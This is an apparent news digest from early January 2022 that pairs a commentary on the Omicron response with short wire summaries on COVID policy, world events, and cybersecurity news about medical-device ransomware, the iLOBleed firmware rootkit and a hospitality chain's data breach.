There's particular confusion in education, which is [driving parents](#) to distraction for the umpteenth time in the pandemic and is again threatening to cause major economic consequences if key workers cannot get child care. Schools in Detroit, Los Angeles, Atlanta, Cleveland and Washington are swamped by the virus and are returning to virtual learning or delaying class at least for a few days after the holiday break. And Dr. James Versalovic, chief pathologist at Texas Children's Hospital, warned Monday of "staggering" numbers of kids in his wards [battling Omicron](#).

But on the same day, [newly sworn-in New York City Mayor Eric Adams](#) boasted of his "swagger" and told the Big Apple -- where infections are soaring -- not to "wallow in Covid" as he [disseminated](#) asking for similar treatment as colleagues in other places who are going virtual. Deepening the contradictions, New York Gov. Kathy Hochul, a fellow Democrat, warned that "we are not in a good place" as the winter surge bites. It's also puzzling how NFL stadiums are jammed as playoffs loom in a sign of normality but thousands of airline flights are being canceled as flight crews call out sick.

### **A dastardly combination**

While the signals seem conflicting, they can be rationalized, though meshing them into a coherent national response to a pandemic that has incessantly outraced political leaders and deepened national divides is another thing.

The most important key to understanding parallel Covid realities is that the Omicron variant is vastly more infectious than the Delta version that it is overtaking but is, according to growing evidence, generally causing less serious disease.

This dastardly combination of increased transmissibility but apparently more moderate sickness is challenging the tenuous balance between mitigation and the preservation of a semblance of normal life forged in previous waves of infection. It also means that political and corporate leaders wrestle with the question of whether a virus that manifests in mild illness and even no symptoms for many people should continue to threaten critical infrastructure and basic services that underpin American life.

Some elected officials are erring on the side of caution -- including those who are closing schools, at least for a while. It makes sense, because it's hard to fathom how to keep in-person learning up and running if teachers test positive and have to enter isolation. But other leaders, like Adams, give the impression the country is fighting the last war against the pathogen when a new one has just kicked off. His bullishness is the luxury of a mayor with a new mandate.

But it may put him at risk of falling into the trap of many leaders before him -- underestimating Covid-19. Three days into his term, Adams appeared implicitly to be conceding that some Republicans who have long argued that epidemiological mitigation has gone too far may have been right. Remarkably, he was on the same page Monday as [Florida Gov. Ron DeSantis](#), a Republican opponent of mask mandates who vowed Omicron would not shutter schools in the Sunshine State, with his habitual flair for a political headline.

But the notion that Omicron is a tame foe shifts the risk equation too far toward underestimating the virus and could lead to dangerous shortcuts.

"This narrative that it's just a mild virus is not accurate," Dr. Peter Hotez, dean of the National School of Tropical Medicine and professor of pediatrics at Baylor College of Medicine, told CNN's Jake Tapper on Monday.

"We've just done a terrible job vaccinating our kids across the country. ... So even though there's a lot of happy talk about the Omicron variant, less severe disease, when you add up all the factors ... we've got a very serious situation facing us in this country, especially for the kids." Taking aim at that crisis, the [US Food and Drug Administration announced Monday](#) an emergency use authorization for Pfizer/BioNTech Covid-19 vaccine boosters for [adolescents ages 12 to 15](#). For everyone else already eligible, it reduced the time between completing an initial series of shots and a recommended booster from six months to five

months, and it permitted a third dose of the primary series for some immunocompromised children ages 5 to 11.

As more Americans tire of the fight, conservative critics of public health officials might want to avoid the temptation to gloat. Even now, most Americans hospitalized and dying in the Omicron surge (and the still raging Delta wave in some districts) are those who declined free, effective vaccines, amid a torrent of misinformation about the inoculations fed by many GOP politicians and conservative media hosts.

The best way to stay protected against serious illness, hospitalization or death is to get vaccinated and boosted whether the Omicron variant is less potent or not. Many of the 820,000 American dead from the disease might be alive had some Republicans, including ex-President Donald Trump, not made public health a casualty of their political ambitions and ignored science and pushed for premature economic openings in 2020.

### **Hospitals hammered again**

And living with the virus is easier said than done.

One of the cruelest quirks of Omicron is that while it seems easier for most people to shake off, its increased transmissibility means that even a smaller percentage of patients who get seriously ill in this wave than in others could buckle health care systems and further stretch hero doctors and nurses who have been wrung out by the pandemic. As an example, national hospitalizations hit 100,000 on Monday for the first time in four months and most experts expect them to go higher. Overloading the system could also severely diminish the quality of care for people with other ailments, especially chronic conditions like heart attacks or strokes.

But the nature of this pandemic is that it poses questions that are mostly impossible to answer satisfactorily -- especially those that cross into the fractured political realm. Sen. Marco Rubio, for instance, welcomed the sight of full football stadiums over the weekend and warned in a tweet against "irrational hysteria" stirred by Omicron. But the Florida Republican earned a rebuke from the President's chief medical adviser, Dr. Anthony Fauci, who noted on CNN's "State of the Union" on Sunday that 1,200 daily deaths on average from Covid-19 was "not a trivial situation."

But even Fauci has argued in recent days that the country is in the process of recalibrating its risk tolerance and said last week that no activity in a pandemic was totally safe.

Public health authorities have, for instance, started to adapt their approach, given that Omicron's infectious properties threaten to swiftly drain the work force and threaten the capacity of hospitals, the police and emergency services. The US Centers for Disease Control and Prevention last week [halved the recommended isolation period](#) for those who test positive and who are asymptomatic or whose symptoms are receding to five days, as long as they wear a mask for another five days. Yet there's confusion here as well, and Fauci told CNN on Sunday that clearer guidance, perhaps involving a testing component, is coming. But even if fresh CDC guidelines clear the issue up, many Americans are finding it impossible to get tests amid a nationwide shortage so may be unable to comply.

That's just another reason for the nagging sense in the country that everyone is groping not just for the exit from the pandemic and its deprivations -- which seems unrealistic -- but a modified way of life that is sustainable. But despite hopes of a swift peaking of Omicron, no one can say for sure how long it will rule, or whether it will be followed by another nettlesome and chaos-stirring variant.

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HEADLINE	<b>01/03 Oregon smashes record for weekly cases</b>
SOURCE	<a href="https://abcnews.go.com/Health/wireStory/live-updates-south-korea-records-1st-omicron-variant-82051098">https://abcnews.go.com/Health/wireStory/live-updates-south-korea-records-1st-omicron-variant-82051098</a>
GIST	PORTLAND, Ore. — Oregon reported more than 9,700 new cases of COVID-19 from the holiday weekend on Monday and smashed a previous record for weekly coronavirus cases with an average of about 2,400 new daily cases as the omicron variant took hold.

	<p>The state also hit a single-day high for new cases on Thursday, with 3,534 confirmed or presumptive infections.</p> <p>The Oregon Health Authority says 18.2% of COVID-19 tests administered over the long weekend were positive for the virus, the highest rate to date.</p> <p>Hospitalizations, however, hovered at 498 people, less than half the number at the previous peak. Eleven deaths were reported.</p>
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<b>HEADLINE</b>	<b>01/03 Starbucks: employees vax or test weekly</b>
<b>SOURCE</b>	<a href="https://abcnews.go.com/Health/wireStory/starbucks-employees-vaccine-test-weekly-82057566">https://abcnews.go.com/Health/wireStory/starbucks-employees-vaccine-test-weekly-82057566</a>
<b>GIST</b>	<p>Starbucks says its U.S. workers must be fully vaccinated by Feb. 9 or face a weekly COVID testing requirement.</p> <p>The Seattle-based coffee giant said Monday it was acting in response to the Occupational Safety and Health Administration, which issued a vaccine-or-test requirement for companies with more than 100 employees in November.</p> <p>The requirement, which has faced numerous court challenges, was upheld last month by a three-judge panel with the U.S. Court of Appeals. The Supreme Court is scheduled to consider the requirement on Friday.</p> <p>Starbucks is requiring its 228,000 U.S. employees to disclose their vaccination status by Jan. 10.</p> <p>“I recognize that partners have a wide spectrum of views on vaccinations, much like the rest of the country,” Starbucks Chief Operating Officer John Culver said in a letter sent to employees in late December. “My responsibility, and that of every leader, is to do whatever we can to help keep you safe and create the safest work environment possible.”</p> <p>Starbucks said full vaccination means two shots of either the Pfizer or Moderna vaccine or one shot of the Johnson &amp; Johnson vaccine.</p> <p>If a Starbucks employee chooses to test weekly instead, they must pay the cost of testing themselves and get tested at a pharmacy, clinic or other testing site where someone is observing the test. Religious or medical accommodations will be considered, but to work in a store, employees must test weekly, the company said.</p> <p>Employees who test positive will be able to use paid time to self-isolate. Starbucks said it is currently offering employees two instances of paid isolation time, both up to five days each.</p>
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<b>HEADLINE</b>	<b>01/03 At-home Covid tests detect omicron?</b>
<b>SOURCE</b>	<a href="https://abcnews.go.com/Health/wireStory/home-covid-19-tests-detect-omicron-variant-82058448">https://abcnews.go.com/Health/wireStory/home-covid-19-tests-detect-omicron-variant-82058448</a>
<b>GIST</b>	<p>Do at-home COVID-19 tests detect the omicron variant?</p> <p>Yes, but U.S. health officials say early data suggests they may be less sensitive at picking it up.</p> <p>Government recommendations for using at-home tests haven't changed. People should continue to use them when a quick result is important.</p> <p>“The bottom line is the tests still detect COVID-19 whether it is delta or alpha or omicron,” says Dr. Emily Volk, president of the College of American Pathologists.</p>

	<p>Government scientists have been checking to make sure the rapid tests still work as each new variant comes along. And this week, the Food and Drug Administration said preliminary research indicates they detect omicron, but may have reduced sensitivity. The agency noted it's still studying how the tests perform with the variant, which was first detected in late November.</p> <p>Dr. Anthony Fauci, the top U.S. infectious disease expert, said the FDA wanted to be “totally transparent” by noting the sensitivity might come down a bit, but that the tests remain important.</p> <p>There are many good uses for at-home tests, Volk says. Combined with vaccination, they can make you more comfortable about gathering with family and friends.</p> <p>If you've been exposed to a person who tested positive but you don't have symptoms, a rapid test five days later can give a good indication of whether you caught the virus. It can also help if you're not sure whether your runny nose or sore throat is COVID-19.</p> <p>But consider the context when looking at results. If you feel sick after going out to a nightclub in an area with high infection rates, for example, you should look at a negative result from an at-home test with a little more skepticism, Volk says.</p> <p>Following up with a PCR test is a good idea, she says. Those tests are more accurate and are done at testing sites and hospitals.</p>
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HEADLINE	<b>01/03 Fire reignites South Africa parliament bldg.</b>
SOURCE	<a href="https://abcnews.go.com/International/wireStory/south-africa-parliament-chamber-completely-gutted-fire-82048968">https://abcnews.go.com/International/wireStory/south-africa-parliament-chamber-completely-gutted-fire-82048968</a>
GIST	<p>CAPE TOWN, South Africa -- The fire that has already destroyed South Africa's main Parliament chamber flared up again Monday about 36 hours after it started in the 130-year-old complex of historic buildings, authorities said.</p> <p>Firefighters have been sent back to the Parliament precinct in the center of Cape Town after flames re-appeared on the roof of the main Parliament building in the late afternoon. More than 30 firefighters were battling the fire again, Cape Town Fire and Rescue Service spokesman Jermaine Carelse told the News 24 website.</p> <p>Before the blaze reignited, authorities had said it had been contained and had begun to assess the damage. The fire had started around 6 a.m. on Sunday morning.</p> <p>Still a mystery is the role of a man who has been arrested and is being questioned by police in connection with the fire. The man is due to appear in court on Tuesday and authorities weren't commenting further on his involvement or any possible motives, other than to say he would likely be charged with breaking and entering, theft and arson.</p> <p>The man is also facing charges under South Africa's National Key Points Act, a security law that restricts access to government buildings and other places of national importance.</p> <p>The man, who has not been named, was arrested Sunday at the scene, authorities said. South African media reported he had to be rescued from the fire, while questions have been raised over if there was a deliberate attack on the seat of South Africa's democracy.</p> <p>Parliament was closed for the holidays and no injuries have been reported in the fire.</p> <p>Extensive damage has been done to the stately white and red brick buildings in the Parliament precinct. The fire had already burned down the chamber in the National Assembly building where South African legislators meet to pass laws, Parliament said in a statement.</p>

“We are indeed devastated,” Parliament said.

“We stand in front of a broken Parliament, a burnt down Parliament,” lawmaker Natasha Mazzone said at the gates of the complex before the fire reignited. “Look at our roof, our beautiful roof, burnt, collapsed.”

“The National Assembly chamber is completely destroyed. I’ve seen it for myself. Everything is destroyed. This will take an operation second to none to rebuild,” she said.

Two other buildings had also been badly damaged in the inferno, Parliament said, including the original Parliament building that had been built in the 1880s and had weathered much of South Africa's tumultuous history, including British colonialism and the apartheid regime.

The South African Parliament moved to the New Assembly building, built in the style of the old building, in the 1980s and it had been the seat of the national legislature for the momentous end of apartheid and the country's transition to democracy under the presidency of Nelson Mandela.

Firefighters had been working on “hotspots” in the National Assembly building on Monday morning, Carelse said, but it was largely contained at that stage and the fire crews had been scaled back.

As the fire was originally brought under control, what was left was blackened, unrecognizable ruins inside some of the rooms.

“This is an incredibly sad day if you are a normal human being, to stand in front of this building and realize what we’ve lost,” lawmaker Mazzone said.

Patricia de Lille, the Minister of Public Works and Infrastructure, said that someone had turned off a valve which prevented a fire sprinkler system from functioning.

She said the investigation into the cause of the fire has been taken over by the Hawks, a South African police unit that deals with serious and high-profile crimes. An initial report on the fire from a special fire investigating team would be completed by Friday, she said.

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HEADLINE	<b>01/03 Mexico: refugee, asylum claims spike 87%</b>
SOURCE	<a href="https://abcnews.go.com/International/wireStory/mexico-refugee-asylum-claims-double-2021-82058574">https://abcnews.go.com/International/wireStory/mexico-refugee-asylum-claims-double-2021-82058574</a>
GIST	<p>MEXICO CITY -- The number of people applying for refugee or asylum status in Mexico almost doubled between 2019 and 2021, reaching a historic high of over 130,000, authorities said Monday.</p> <p>While there was a dip in 2020, that was largely due to the coronavirus pandemic.</p> <p>In previous years, migrants from other countries had rarely sought protection in Mexico, preferring to make their claims in the United States. But the toughening of border enforcement and the slowdown in U.S. asylum processing has apparently led many to apply for refuge in Mexico.</p> <p>The Mexican Commission on Refugee Aid, COMAR, said there were 131,448 applications filed in 2021, an 87% increase over the nearly 70,351 filed in 2019. The numbers dipped to around 41,000 in 2020, in part because the coronavirus pandemic made it harder for people to move around or even file applications.</p> <p>The COMAR said the biggest increase was in the number of applications from Haitians, which grew from 5,500 in 2019 to over 51,000 in 2021.</p> <p>Hondurans, who in previous years had filed the most claims in Mexico, filed 36,361 applications in 2021, a relatively more modest rise over the 30,082 they filed in 2019.</p>

Almost 90,000 of the 131,448 requests for protection were filed in the southern Mexico city of Tapachula, near the Guatemalan border. Migrants have complained of the extremely slow pace of paperwork processing in Tapachula, where COMAR offices are swamped by the huge number of requests.

After migrants tried to stage mass walks out of Tapachula in 2021, the Mexican government agreed to bus some to other cities further north to file claims.

Apart from a program to house Guatemalan refugees near the southern border during that country's 1960-1996 civil war, Mexico has relatively little experience in dealing with so many refugees or asylum seekers.

The United States has also slowed its own asylum process under Title 42, a measure named for a public health law that allows U.S. officials to expel adults and families without an opportunity for asylum.

And the U.S. has begun reinstating the 'Remain in Mexico' program, also known as the "Migrant Protection Protocol," a Trump-era policy to make asylum-seekers wait in Mexico for hearings in U.S. immigration court.

The United Nations has urged Mexico to consider granting other, humanitarian visas to ease the overwhelmed refugee agency. Under a pilot program, about 200 Haitians have been offered temporary visas that would allow them to work in Mexico, and a search has been started for companies willing to hire them.

On Dec. 22, Mexico's biggest convenience store chain, Oxxo, wrote "we are hiring migrants from Haiti, giving them an opportunity to start a new life here."

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HEADLINE	<b>01/03 Fighting intensifies in eastern Colombia</b>
SOURCE	<a href="https://abcnews.go.com/International/wireStory/fighting-intensifies-eastern-colombia-16-killed-82053781">https://abcnews.go.com/International/wireStory/fighting-intensifies-eastern-colombia-16-killed-82053781</a>
GIST	<p>BOGOTA, Colombia -- At least 23 people were killed in Colombia this weekend and 20 had to flee their homes as fighting between rebel groups intensified in the eastern state of Arauca, Colombia's Defense Minister said Monday.</p> <p>The killings mark a setback for Colombia's government, which was able to bring down homicide rates in much of the country following a 2016 peace deal with the Revolutionary Armed Forces of Colombia. But it is now struggling to control violence in rural pockets of the country where smaller rebel groups and drug trafficking organizations are fighting over smuggling routes, coca fields, illegal mines and other assets.</p> <p>Arauca is home to some of Colombia's largest oil wells and is also crossed by a pipeline that is regularly attacked by rebel groups that steal its oil. The state borders Venezuela and drug trafficking groups have been fighting over its smuggling routes for decades.</p> <p>In a statement Monday, Colombia's army said the latest outbreak of violence was caused by fighting between the National Liberation Army, or ELN, guerrilla group and former members of the FARC who refused to join the peace deal. The army said that both groups are currently fighting for dominance over the area's drug trade.</p> <p>Juan Carlos Villate, a human rights officer in the town of Tame, told Colombia's Blu Radio that he received reports of civilians who were dragged out of their homes and executed on Sunday by members of armed groups. Villate said that he had reports of 50 people who went missing and 27 who were killed over the weekend.</p> <p>Human Rights Watch said it has received reports of 24 deaths, as well as forced displacements and abductions.</p>



	<p>“It appears that the alliance between the ELN and dissidents with the 10th Front of the FARC in the zone has broken,” said the group's Colombia expert, Juan Pappier.</p> <p>Arauca last year received hundreds of refugees who fled from neighboring Venezuela following fighting between the Venezuelan army and FARC splinter groups that also operate on the Venezuelan side of the border.</p> <p>President Ivan Duque said on Monday that he would send more troops to the area and increase surveillance flights to intercept armed groups and monitor their activity along the border with Venezuela. Duque accused Venezuelan president Nicolas Maduro of providing shelter to some of these rebel groups and said Colombia would fight them “with all its might.”</p> <p>While Colombia's overall murder rate has gone down since the peace deal was signed, homicides and forced displacement have also gone up in some rural pockets of the country that were previously dominated by the FARC and where smaller groups, including the ELN, are now fighting for territorial control.</p> <p>The ELN guerrillas initiated peace talks with the Colombian government in 2017, but those broke down following an attack on a police academy that killed 23 people.</p>
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<b>HEADLINE</b>	<b>01/03 Serbia praises Russia arms shipment</b>
<b>SOURCE</b>	<a href="https://abcnews.go.com/International/wireStory/serbia-praises-arms-shipment-russia-82049555">https://abcnews.go.com/International/wireStory/serbia-praises-arms-shipment-russia-82049555</a>
<b>GIST</b>	<p>BELGRADE, Serbia -- Serbia’s president on Monday praised another shipment of arms from Russia despite fears in the Balkans that the country's recent military buildup could lead to more tensions in the war-scarred European region.</p> <p>President Aleksandar Vucic attended a training exercise at a military base near Belgrade that included recently purchased anti-tank Kornet guided missiles.</p> <p>“I am pleased that our soldiers are happy about the purchase of Kornets from Russia,” Vucic said. “It is one of probably the best anti-tank weapons in the world.”</p> <p>“The Kornet is an important defensive tool to deter anyone from potential aggression against our country, ” Vucic said.</p> <p>Serbia has frequently been accused of saber-rattling and working with Slavic ally Russia to destabilize neighboring Bosnia, Montenegro and Kosovo, a former Serbian province which declared independence in 2008.</p> <p>Serbia is widely blamed for triggering a bloody breakup of Yugoslavia in the 1990s with its nationalist policies. The country lately has armed itself mostly with Russian and Chinese warplanes, drones and anti-aircraft systems.</p> <p>In recent months, Russia has handed over to Serbia 30 battle tanks and 30 armored personnel carriers. Serbia has also recently purchased sophisticated Russian Pantsir air defense systems, as well as attack and transport helicopters and Chinese drones.</p> <p>Although formally seeking European Union membership, Serbia has refused to align its foreign policies with the 27-nation bloc and has instead strengthened its alliance with Russia and China.</p> <p>Vucic said on Monday that Serbia “remains on the European path,” but also added that it will continue to “nourish” its friendly ties with Russia and China.</p>

	<p>To join the EU, Serbia needs the support of all EU member nations, but the government has maintained frosty relations with fellow Balkan country Croatia, the last new member admitted into the bloc.</p> <p>Croatia, which is also a member of NATO, is in a mini arms race with Serbia, which has recently received six used MiG-29 fighter jets from Russia and four more of the type from Belarus. In November, the Croatian government announced the purchase of 12 Rafale fighter jets from France.</p>
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<b>HEADLINE</b>	<b>01/03 China: not expanding but modernizing nukes</b>
<b>SOURCE</b>	<a href="https://abcnews.go.com/International/wireStory/china-denies-us-report-rapidly-growing-nuclear-arms-82064161">https://abcnews.go.com/International/wireStory/china-denies-us-report-rapidly-growing-nuclear-arms-82064161</a>
<b>GIST</b>	<p>BEIJING -- A senior Chinese arms control official denied Tuesday that his government is rapidly expanding its nuclear arsenal, though he said it is taking steps to modernize its nuclear forces.</p> <p>Fu Cong, the director general of the Foreign Ministry's arms control department, said that China is working to ensure its nuclear deterrent meets the minimum level necessary for national defense.</p> <p>"On the assertions made by U.S. officials that China is expanding dramatically its nuclear capabilities, first, let me say that this is untrue," he said at a briefing in Beijing. The news conference was held a day after China, the U.S., Russia, Great Britain and France issued a joint statement on preventing nuclear war or an arms race.</p> <p>The U.S. Defense Department said in a report in November that China is expanding its nuclear force faster than previously predicted and could have more than 1,000 warheads by 2030. The U.S. has 3,750 nuclear weapons.</p>
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<b>HEADLINE</b>	<b>01/03 US reimposes 'Remain in Mexico' policy</b>
<b>SOURCE</b>	<a href="https://abcnews.go.com/Politics/biden-administration-reimposes-remain-mexico-policy/story?id=82059354">https://abcnews.go.com/Politics/biden-administration-reimposes-remain-mexico-policy/story?id=82059354</a>
<b>GIST</b>	<p>Biden administration officials further outlined a plan for the implementation of the "MPP" or "Remain in Mexico" policy on a conference call with reporters Monday while underscoring a commitment to ending the program and describing safeguards designed to improve conditions for asylum seeking enrollees.</p> <p>A central criticism of the MPP program -- which bars asylum seekers from entering the U.S. while immigration courts review their claims -- was the lack of access to U.S. legal services for enrollees forced into makeshift Mexican border camps. Now, the Biden administration is working with legal service providers and promising 24-hour consultation windows to assist with screening interviews and immigration court cases.</p> <p>The Justice Department's Executive Office of Immigration Review is working to increase legal representation rates for asylum seekers while distributing "self-help materials" for immigrant applicants who need information on the process.</p> <p>Improving conditions south of the border was another component in securing the Mexican government's cooperation. U.S. humanitarian workers have built up WiFi access at shelters, and Mexican authorities have stepped up security including at transportation hubs.</p> <p>Now, migrants enrolled in MPP will have access to transportation services at the port of entry, something Biden administration officials said is a necessary security measure given the level of crime taking place at border crossings.</p> <p>Over the holidays, the Biden administration submitted a request to the Supreme Court for expedited briefings on the case to end MPP. The administration previously lost lower court appeals against efforts to reinstate the protocols.</p>

	<p>Under the latest iteration of MPP, migrants who receive an interview with U.S. Citizenship and Immigration Services will be judged on whether there's a "reasonable possibility" they have a fear of returning to Mexico rather than the previously used and more restrictive "more likely than not" standard.</p> <p>The new standards are accessible to those like the group of 36 migrants brought to El Paso Monday for court hearings, making them the first to be processed under the new rules.</p> <p>Officials did not provide information on the number of asylum seekers subjected to MPP under the Biden administration's latest implementation efforts, but they did confirm enrollments have started in the El Paso and San Diego regions.</p> <p>One senior Biden administration official estimated on Monday that the program was costing the U.S. government in excess of "tens of millions of dollars."</p>
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HEADLINE	<b>01/03 Why many vaccinated people get Covid?</b>
SOURCE	<a href="https://abcnews.go.com/Lifestyle/wireStory/vaccinated-people-covid-19-82063111">https://abcnews.go.com/Lifestyle/wireStory/vaccinated-people-covid-19-82063111</a>
GIST	<p>Why are so many vaccinated people getting COVID-19 lately?</p> <p>A couple of factors are at play, starting with the emergence of the highly contagious omicron variant. Omicron is more likely to infect people, even if it doesn't make them very sick, and its surge coincided with the holiday travel season in many places.</p> <p>People might mistakenly think the COVID-19 vaccines will completely block infection, but the shots are mainly designed to prevent severe illness, says Louis Mansky, a virus researcher at the University of Minnesota.</p> <p>And the vaccines are still doing their job on that front, particularly for people who've gotten boosters.</p> <p>Two doses of the Pfizer-BioNTech or Moderna vaccines or one dose of the Johnson &amp; Johnson vaccine still offer strong protection against serious illness from omicron. While those initial doses aren't very good at blocking omicron infection, boosters — particularly with the Pfizer and Moderna vaccines — rev up levels of the antibodies to help fend off infection.</p> <p>Omicron appears to replicate much more efficiently than previous variants. And if infected people have high virus loads, there's a greater likelihood they'll pass it on to others, especially the unvaccinated. Vaccinated people who get the virus are more likely to have mild symptoms, if any, since the shots trigger multiple defenses in your immune system, making it much more difficult for omicron to slip past them all.</p> <p>Advice for staying safe hasn't changed. Doctors say to wear masks indoors, avoid crowds and get vaccinated and boosted. Even though the shots won't always keep you from catching the virus, they'll make it much more likely you stay alive and out of the hospital.</p>
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## Cyber Awareness

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HEADLINE	<b>01/03 Medical devices at risk ransom attacks?</b>
SOURCE	<a href="https://thehackernews.com/2022/01/are-medical-devices-at-risk-of.html">https://thehackernews.com/2022/01/are-medical-devices-at-risk-of.html</a>
GIST	<p>In May 2017, the first documented ransomware assault on networked medical equipment happened. The worldwide ransomware assault WannaCry compromised radiological and other instruments in several hospitals during its height, after a software failure caused by a cyberattack on its third-party vendor's</p>

oncology cloud service, cancer patients having radiation therapy at four healthcare institutions had to reschedule appointments.

These examples show how cyberattacks and data breaches may have a significant impact on the healthcare industry, heavily reliant on connected medical equipment. PHI (patient health information) captured and stored in these connected medical devices must be secured. Because PHI is transferred over the cloud via server-based systems, making it very susceptible to hackers.

Ransomware attacks on health care professionals have become more common, sophisticated, and severe in recent years. Individual bad actors have been supplanted as the main perpetrators by organized criminal gangs, nation-states and military groups. Despite great effort, law enforcement and government have been unable to stop the escalating wave of attacks on hospital devices and other key infrastructure. Medical device security will be a key part of hospital cybersecurity as ransomware attacks on healthcare organizations increase.

#### Medical Devices have Grown In Scale

The safety of external medical equipment, whether fixed, implanted, or wearable, is critical to patients' lives and well-being. Life-saving medical devices include insulin pumps, heart defibrillators, artificial cardiac pacemakers, and ventilators, to name a few. Examples include artificial joints, MRI and CT scanners, infusion pumps, clinic programming, and home monitoring.

In a hospital or healthcare institution, security cameras, RFID readers, point-of-sale systems, and guest access cards should all be safeguarded from cyber attacks and security breaches. Medical equipment frequently includes computer systems and networks.

In today's world, medical equipment is linked to all other connected devices in a hospital or medical care institution. Built-in sensors in linked medical equipment collect data that may be sent to other devices and the Internet. These gadgets and their data make up the Internet of Medical Things (IoMT), which assists in the diagnosis, monitoring, and delivery of medicine.

These ransomware attacks on medical devices demonstrate the impact of cyberattacks and data breaches on the healthcare business, which is highly reliant on linked medical equipment. Patient Health Information recorded and stored in these linked medical devices must be protected. PHI is sent via server-based systems over the cloud, making it highly vulnerable to hackers.

The connected medical devices, which significantly improve patient care and provide better patient outcomes, should be maintained and upgraded to ensure patient safety from the design stage to their use in healthcare organizations or at home.

#### IoT Ecosystem

The IoT ecosystem consists of medical device manufacturers, providers, systems and software providers, system integrators, connectivity providers, and end-users. More collaboration between stakeholders to tackle the cybersecurity vulnerabilities and risks of connected medical devices will help prevent cyber attacks.

Ransomware assaults on healthcare institution networks trigger medical device outages that put patient lives at risk. You can't have safe and functional medical equipment if it's unavailable due to ransomware. There has been a significant shift in the Medtech sector over the last decade to identify the rising cyber threat to devices. Nation-states and organized crime syndicates are wreaking havoc on medical equipment, jeopardizing their safety and efficacy for healthcare providers.

In a Ponemon Institute poll, a quarter of healthcare delivery businesses indicated they witnessed increased death rates after a ransomware assault. Health systems are at a higher risk of having a negative influence on patient care as linked medical devices become more widely used. The latest issue for healthcare institutions and the MedTech sector is maintaining the availability of medical equipment in the face of escalating cyber threats that threaten patient safety.

Medical devices need to be designed with security in mind to resist even everyday, run-of-the-mill threats like ransomware. Currently, there is no statutory requirement, premarket or postmarket, that expressly compels device manufacturers to address cybersecurity.

#### Security measures in the cloud

In the event of a data breach, the healthcare institution, not the cloud services provider, is responsible. On the other hand, Cloud providers must follow stringent security guidelines. FDA Cybersecurity Guidelines, cloud security engineering best practices, frequent security audits, disaster recovery scenarios, and action based on a well-defined security and data-protection incident management system are instances of this.

With medical devices or associated software, real-time monitoring, cyber threat modeling and analysis, threat mitigation, and remediation should all be achievable. Due to regular recordkeeping and monitoring, every breach is detected as soon as it occurs. Early detection of a breach helps determine the severity of the breach and ensures that it is remedied.

Medical gadgets, which are frequently obsolete, are not always upgradeable. Assaults on medical equipment with minimal support might cause vital functions to be disrupted, putting lives at danger. Medical device owners should contact the vendor or manufacturer ahead of time if they have any maintenance or update problems with their medical equipment.

The FDA has incorporated a requirement in its Medical Device Safety Action Plan that compels medical device manufacturers to embed security updates and patch capabilities into network-connected devices from the outset, in response to the rising danger.

It also outlines procedures for disclosing any faults in these devices once being released to the general public. It's becoming increasingly critical for engineers to consider cybersecurity considerations while assessing the danger of a medical device. Anti-ransomware/cyberattack protection should be included in the device's specs. If you're submitting one of these devices to the FDA, expect them to ask many questions about how you're dealing with cybersecurity issues.

#### Conclusion

From the design stage to their usage in healthcare organizations or at home, connected medical devices that significantly improve patient care and improve patient outcomes must be properly maintained and upgraded to guarantee patient safety against ransomware outages.

Medical device makers, suppliers, systems and software providers, system integrators, connection providers, and end-users make up the IoT ecosystem. It will be easier to avoid cyber assaults if all stakeholders work together to address the cybersecurity vulnerabilities and hazards of connected medical equipment.

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HEADLINE	<b>01/03 iLOBleed rootkit targets HP servers</b>
SOURCE	<a href="https://www.securityweek.com/sophisticated-ilobleed-rootkit-targets-hp-servers">https://www.securityweek.com/sophisticated-ilobleed-rootkit-targets-hp-servers</a>
GIST	<p>An Iranian cybersecurity firm claims to have discovered a sophisticated rootkit that is designed to target HP servers.</p> <p>The malware, dubbed <a href="#">iLOBleed</a>, was analyzed by Tehran-based Amnpardaz, which indicates that it has been used to target organizations in Iran. However, no other information has been shared on victims.</p> <p>It's unclear who is behind the attacks involving iLOBleed, but its sophistication suggests it's likely an advanced persistent threat (APT) actor. The United States and Israel are suspected to have launched <a href="#">sophisticated cyberattacks against Iran</a>.</p>

According to Amnpardaz, iLOBleed is an implant that targets HPE's Integrated Lights-Out (iLO) embedded server management technology, which enables users to remotely monitor, configure and update their servers. iLO is embedded on the motherboard of HP servers.

The rootkit, first spotted in 2020, appears to leverage iLO [firmware vulnerabilities](#) discovered and disclosed publicly in the past years. The Iranian company's researchers noted that while these flaws may be fixed in more recent versions of HP firmware, an attacker can downgrade the firmware to a vulnerable version, which is possible on most systems, except for Gen10 series servers, on which users can enable a non-default setting that prevents firmware downgrades. Users cannot completely disable iLO.

Such rootkits are highly persistent and stealthy, and they can be delivered to targeted devices through the dedicated iLO network port, as well as through the server's operating system by a user with administrator or root privileges.

"This means that even if the iLO network cable is completely disconnected, there is still the possibility of infection with the malware," Amnpardaz wrote in a blog post published last week.

Once it has been deployed on a device — the rootkit adds a malicious module to the iLO firmware — iLOBleed gives the attackers full control over the compromised machine.

It also silently prevents firmware updates but goes to great lengths to make it look like the update process has been completed successfully to avoid raising suspicion.

"The malware pretends the upgrade to be successful, with all the right messages and logs. Even the exact number of firmware versions is extracted and displayed in appropriate places in the web console and other locations, although in fact no upgrade has been performed," the researchers explained.

When Amnpardaz discovered the malware, the attackers initiated a process that involved repeatedly wiping the infected server's disk, likely in an effort to cover their tracks.

Amnpardaz has informed organizations concerned about their servers getting infected with this rootkit that the best way to detect iLOBleed is by looking at the iLO user interface — the interface is different on a compromised device. On the other hand, the company noted that the attackers might take steps in the future to prevent this detection method.

Amnpardaz is working on a tool that can be used to verify the integrity of the firmware.

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HEADLINE	<b>01/03 McMenamins: employee data compromised</b>
SOURCE	<a href="https://www.securityweek.com/hospitality-chain-says-employee-data-stolen-ransomware-attack">https://www.securityweek.com/hospitality-chain-says-employee-data-stolen-ransomware-attack</a>
GIST	<p>Hospitality chain McMenamins has confirmed that employee information dating back to January 1998 was compromised in a recent data extortion ransomware attack.</p> <p>McMenamins, which operates a chain of breweries, pubs, hotels, and music venues in Oregon and Washington, says it blocked the attack on December 12, but warned that data of both current and past employees was compromised.</p> <p>The company has sent notification letters to individuals it employed between July 1, 2010 and December 12, 2021, encouraging past employees (January 1, 1998 to June 30, 2010) to visit its website for instructions on protecting their data.</p> <p>In a <a href="#">statement</a>, the company said compromised data includes names, birth dates, physical and email addresses, phone numbers, race, ethnicity, gender, Social Security numbers, performance and disciplinary notes, income and retirement contribution amounts, and medical information such as disability status and health insurance plan elections.</p>



